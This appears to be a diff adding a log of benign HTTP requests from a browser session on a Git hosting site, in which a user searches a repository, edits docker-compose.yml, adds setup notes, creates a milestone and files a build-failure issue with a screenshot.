+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=onClick%3D%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=powershell&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=install-script.sh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=release%20notes&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/feat/docker-support?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/codemirror-----------------.850d6e6e.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/codemirror.f4be46b8.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/----------------.de1a9813.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/vendors-node_modules_codemirror_lang-yaml_dist_index_js.4f1c0b18.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 278", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "last_commit=bbe5223a9a4f84e7c3d7206f4bdd062239e8309b&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A&commit_summary=Pin+nginx&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
+{"method": "GET", "target": "/alice/tools/src/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 272", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "last_commit=2a8b9144333b5cb8075a74c64b31dbaa7ea02b3c&page_has_posted=&tree_path=docs%2Fpython3-setup.md&content=%23+Setup%0D%0A%0D%0AInstall+the+tools.%0D%0A&commit_summary=Add+setup+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
+{"method": "GET", "target": "/assets/js/---.8673fbd3.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/------.2befb329.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/vendors-node_modules_codemirror_lang-markdown_dist_index_js.eef88d50.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/branch/main/docs/python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/_upload/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 224", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4q9JlyMIwlkOQ1ZY", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundary4q9JlyMIwlkOQ1ZY\r\nContent-Disposition: form-data; name=\"file\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n------WebKitFormBoundary4q9JlyMIwlkOQ1ZY--\r\n"}
+{"method": "POST", "target": "/alice/tools/_upload/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 229", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "tree_path=&files=cde01135-f509-483d-af4a-56d1f754aa2c&files_fullpath%5Bcde01135-f509-483d-af4a-56d1f754aa2c%5D=notes.txt&commit_summary=Add+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
+{"method": "GET", "target": "/alice/tools/src/branch/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/labels", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/css/colorpicker.6c3c1b7d.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/labels", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/colorpicker.eb94c3c5.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/labels", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/milestones/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/alice/tools/milestones/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 36", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "title=Version+1.1&deadline=&content="}
+{"method": "GET", "target": "/alice/tools/milestones", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US; flash=success%3DThe%2Bmilestone%2B%2522Version%2B1.1%2522%2Bhas%2Bbeen%2Bcreated."], "body": ""}
+{"method": "GET", "target": "/alice/tools/issues/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/alice/tools/issues/attachments", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 5018", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZATiKc8Kvm2f9kjJ", "Origin: http://example.com", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundaryZATiKc8Kvm2f9kjJ\r\nContent-Disposition: form-data; name=\"file\"; filename=\"screenshot.png\"\r\nContent-Type: image/png\r\n\r\n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 truncated
+{"method": "POST", "target": "/alice/tools/issues/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 1281", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypBVS0yCpwcYAG4g1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nBuild fails on a clean checkout\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nThe build stops after the first step. It works on the second try.\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"files\"\r\n\r\n179d62f5-4ae4-4e5e-9893-269ae399ca12\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"files_fullpath[179d62f5-4ae4-4e5e-9893-269ae399ca12]\"\r\n\r\nscreenshot.png\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"ref\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"edit_mode\"\r\n\r\ntrue\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"search\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"label_ids\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"milestone_id\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"project_id\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"assignee_ids\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1--\r\n"}
